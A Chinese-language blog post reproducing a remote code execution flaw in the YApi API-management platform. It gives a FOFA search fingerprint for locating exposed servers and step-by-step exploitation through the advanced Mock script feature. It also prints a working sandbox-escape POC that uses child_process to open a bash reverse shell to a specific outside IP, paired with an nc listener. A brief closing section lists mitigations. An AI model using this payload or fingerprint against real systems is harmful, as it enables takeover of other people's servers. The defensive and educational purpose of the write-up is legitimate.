当前位置:网站首页>[ 漏洞复现篇 ] yapi 代码执行 getshell 漏洞复现详解
[ 漏洞复现篇 ] yapi 代码执行 getshell 漏洞复现详解
2022-08-03 06:56:00 【_PowerShell】
博主介绍
博主介绍:大家好,我是 _PowerShell ,很高兴认识大家~
主攻领域:【渗透领域】【数据通信】 【通讯安全】 【web安全】【面试分析】
点赞评论收藏 == 养成习惯(一键三连)
欢迎关注一起学习一起讨论️一起进步文末有彩蛋
作者水平有限,欢迎各位大佬指点,相互学习进步!
文章目录
一、漏洞描述
API接口管理平台是国内某旅行网站的大前端技术中心开源项目,使用mock数据/脚本作为中间交互层,为前端后台开发与测试人员提供更优雅的接口管理服务,该系统被国内较多知名互联网企业所采用。 YApi 是高效、易用、功能强大的 api 管理平台。但因为大量用户使用 YAPI的默认配置并允许从外部网络访问 YApi服务,导致攻击者注册用户后,即可通过 Mock功能远程执行任意代码。
二、fofa指纹
app=“YAPI”

三、利用过程
1、打开登录页面,注册账号
2、新增项目,新增接口
3、打开高级Mock
4、开启脚本
5、写入poc
6、访问接口
7、getshell
四、环境搭建
1、Docker部署
https://github.com/Ryan-Miao/docker-yapi

可参考连接:
五、代码执行
1、打开登录页面,注册账号

随便填写
2、添加项目、添加接口




3、打开高级Mock
4、开启脚本

5、写入poc

6、访问接口

7、命令执行成功

六、Getshell(nc和nc的反向连接)
上面我们成功的执行了ls
我们把ls换成反弹shell的命令,就可以成功getshell了
Nc学习可参考链接:
1、攻击机监听
反弹shell我们就用nc就好了,linux系统是自带nc的
攻击机执行nc -lvv 44444进行监听
nc -lvvp 44444
有师傅可能看到我这里执行的是nc -lvv 44444
可能由于我用的vps是centos8的缘故,可能命令不一样。

2、靶机连接
新建项目,新建接口





打开高级mack,开启脚本,写入poc
就是之前代码执行的步骤。只需要把POC换一下就可以

POC
const sandbox = this
const ObjectConstructor = this.constructor
const FunctionConstructor = ObjectConstructor.constructor
const myfun = FunctionConstructor('return process')
const process = myfun()
mockJson = process.mainModule.require("child_process").execSync("bash -i>&/dev/tcp/124.70.29.182/44444 0>&1)").toString()
访问接口
直接访问这个链接


攻击机getshell
Shell就反弹回来了

我们同样执行一下ls

七、漏洞防御:
1、关闭YApi用户注册功能;修改完成后,重启YApi服务
在"config.json"添加"closeRegister:true"配置项:
{
"port": "*****",
"closeRegister":true
}
2、暂时关闭mock功能(需要修改YApi代码)
在"config.json"中添加"mock: false";
"exts/yapi-plugin-andvanced-mock/server.js"中找到
if (caseData&&caseData.case_enable{
...}
在其上方添加
if(!yapi.WEBCONFIG.mock) {
return false;}
3、白名单限制;
安全组配置白名单访问,或者使用NGINX进行代理,限制白名单IP访问;
4、删除恶意
检查用户列表,删除恶意不明用户;并删除恶意不明用户创建的接口及mock脚本。
边栏推荐
- How to choose a reliable and formal training institution for the exam in September?
- 千万级别的表分页查询非常慢,怎么办?
- 模型训练前后显卡占用对比、多卡训练GPU占用分析【一文读懂】
- 多线程案例
- pyspark df secondary sorting
- (十四)51单片机——LCD1602实现滚动效果
- 亿流量大考(1):日增上亿数据,把MySQL直接搞宕机了...
- 【多线程进阶】--- 常见锁策略,CAS,synchronized底层工作原理,JUC,线程安全的集合类,死锁
- 《21天精通TypeScript-5》类型注解与原始类型
- 依赖注入(DI),自动配置,集合注入
猜你喜欢

【Shell】3万字图文讲解带你快速掌握shell脚本编程

How to choose a reliable and formal training institution for the exam in September?

CDGA|如何加强数字政府建设?

亿流量大考(1):日增上亿数据,把MySQL直接搞宕机了...

华为设备配置BFD单跳检测二层链路

多线程案例

华为设备配置BFD与接口联动(触发与BFD联动的接口物理状态变为Down)

【着色器实现Glow可控局部发光效果_Shader效果第十三篇】

Detailed explanation of cause and effect diagram of test case design method

Spark 的架构与作业提交流程
随机推荐
c现代方法16章基础
千万级别的表分页查询非常慢,怎么办?
Roson的Qt之旅#106 QML在图片上方放置按钮并实现点击按钮切换图片
- display image API OpenCV 】 【 imshow () to a depth (data type) at different image processing methods
qt学习之旅--MinGW32编译opencv3.0.0
多线程打印ABC(继承+进阶)
酷雷曼上新6大功能,全景营销持续加码
ORB-SLAM2提取特征点
力扣解法汇总622-设计循环队列
The ORB - SLAM2 extracting feature points
MySQL 流程控制
被数据分析重塑的5个行业
qt学习之旅--MinGW编译FFmpeg(32bit)
DAC、ADC、FFT使用总结
Postman will return to results generated CSV file to the local interface
华为设备BFD配置命令
PHP 获取服务器信息
SSM整合流程
postman将接口返回结果生成json文件到本地
10 分钟彻底理解 Redis 的持久化和主从复制